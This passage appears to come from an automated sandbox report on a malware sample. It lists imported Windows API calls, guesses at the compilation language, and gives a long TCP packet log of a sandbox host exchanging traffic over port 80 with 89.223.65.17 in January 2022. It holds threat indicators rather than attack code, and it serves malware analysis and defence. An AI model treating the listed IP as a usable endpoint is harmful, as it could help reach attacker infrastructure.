SetFilePointer, InitializeCriticalSectionAndSpinCount, LoadLibraryA, GetLocaleInfoW, SetStdHandle, GetConsoleOutputCP, CloseHandle, CreateFileA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Spanish	Colombia
Divehi; Dhivehi; Maldivian	Maldives

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2022 19:32:46.355736017 CET	49751	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:46.405219078 CET	80	49751	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:46.405328989 CET	49751	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:46.405797005 CET	49751	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:46.405874968 CET	49751	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:46.455002069 CET	80	49751	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:46.496562004 CET	80	49751	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:46.496746063 CET	49751	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:46.498907089 CET	49751	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:46.541908979 CET	49752	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:46.548660040 CET	80	49751	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:46.617382050 CET	80	49752	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:46.617525101 CET	49752	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:46.617714882 CET	49752	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:46.617731094 CET	49752	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:46.693140984 CET	80	49752	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:46.742883921 CET	80	49752	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:46.743149996 CET	49752	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:46.743724108 CET	49752	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:46.819061041 CET	80	49752	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.085897923 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.154086113 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.154202938 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.154268026 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.245182037 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.245227098 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.245280027 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.245313883 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.245333910 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.245384932 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.245397091 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.245434999 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.245481968 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.245484114 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.245532990 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.245578051 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.245582104 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.245631933 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.245680094 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.315327883 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.315403938 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.315457106 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.315471888 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.315540075 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.315593958 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.315630913 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.315644979 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.315711021 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.315716982 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.315762043 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.315813065 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.315826893 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.315862894 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.315912962 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.315920115 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.315963030 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.316011906 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.316025019 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.316061974 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.316111088 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.316123009 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.316160917 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.316210032 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.316215038 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.316260099 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.316308975 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.316312075 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.316360950 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.316416979 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.385011911 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385076046 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385128975 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385140896 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.385181904 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385229111 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.385232925 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385283947 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385329962 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.385337114 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385387897 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385437965 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.385438919 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385497093 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385549068 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385565996 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.385606050 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385658026 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.385658026 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385710001 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385756969 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.385760069 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385818958 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385853052 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385916948 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.385922909 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.385970116 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.385973930 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386023998 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386068106 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.386073112 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386123896 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386164904 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.386173964 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386224031 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386270046 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.386274099 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386322021 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386363983 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.386373043 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386423111 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386465073 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.386473894 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386523962 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386564970 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.386573076 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386622906 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386662960 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.386672974 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386722088 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.386765957 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.386771917 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.437979937 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.454808950 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.454855919 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.454895973 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.454924107 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.454941034 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.454981089 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455019951 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455023050 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.455060005 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455100060 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455101967 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.455140114 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455167055 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.455178976 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455210924 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455307961 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.455332994 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455374956 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455414057 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455419064 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.455477953 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.455493927 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455535889 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455574036 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455595016 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.455611944 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455651045 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455686092 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.455688000 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455727100 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455763102 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.455765009 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455805063 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455828905 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.455861092 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455900908 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455926895 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.455938101 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.455977917 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.456006050 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.456016064 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.456053972 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.456094027 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.456118107 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.456132889 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.456171989 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.456173897 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.456212997 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.456237078 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.456249952 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.456293106 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.456310034 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.500797987 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.506282091 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524326086 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524363041 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524393082 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524424076 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524450064 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.524456978 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524487019 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524503946 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.524523973 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524555922 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524585962 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524622917 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524645090 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.524655104 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524656057 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.524686098 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524717093 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524749041 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524769068 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.524780989 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524813890 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524843931 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524859905 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.524909019 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524940968 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.524967909 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.524971962 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525002003 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525032997 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525043964 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.525063992 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525094986 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525099993 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.525126934 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525150061 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.525188923 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525194883 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.525221109 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525253057 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525285006 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525314093 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525340080 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.525350094 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525377035 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.525391102 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525420904 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525434971 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.525451899 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525482893 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.525485039 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.525541067 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.569138050 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.569185019 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.569259882 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.593398094 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.593445063 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.593486071 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.593516111 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.593528986 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.593569040 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.593590975 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.593609095 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.593660116 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.593683004 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.593724966 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.593761921 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.593786001 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.593801975 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.593842030 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.593861103 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.593883038 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.593924046 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.593945026 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.593962908 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594002962 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594012022 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.594043970 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594094038 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.594110012 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594151974 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594189882 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594199896 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.594228983 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594268084 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594290972 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.594305038 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594347000 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594360113 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.594386101 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594424963 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594436884 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.594465017 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594505072 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594517946 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.594542980 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594582081 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594597101 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.594620943 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594660997 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594674110 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.594700098 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594737053 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594749928 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.594774961 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594814062 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594829082 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.594851017 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594891071 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594902992 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.594928980 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.594995975 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.637315035 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.637379885 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.637473106 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.663055897 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663103104 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663142920 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663183928 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663237095 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663253069 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.663288116 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663292885 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.663331985 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663372040 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663420916 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.663429022 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663470984 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.663491011 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663583994 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663587093 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.663644075 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663691044 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663733006 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.663741112 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663780928 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663822889 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663845062 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.663870096 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663916111 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663918972 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.663959026 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.663994074 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.664005995 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664047003 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664092064 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.664093971 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664135933 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664170980 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.664186954 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664225101 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664261103 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.664277077 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664315939 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664351940 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.664369106 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664408922 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664442062 CET	49753	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:32:47.664458036 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664498091 CET	80	49753	89.223.65.17	192.168.2.5
Jan 4, 2022 19:32:47.664535046 CET	49753	80	192.168.2.5	89.223.65.17
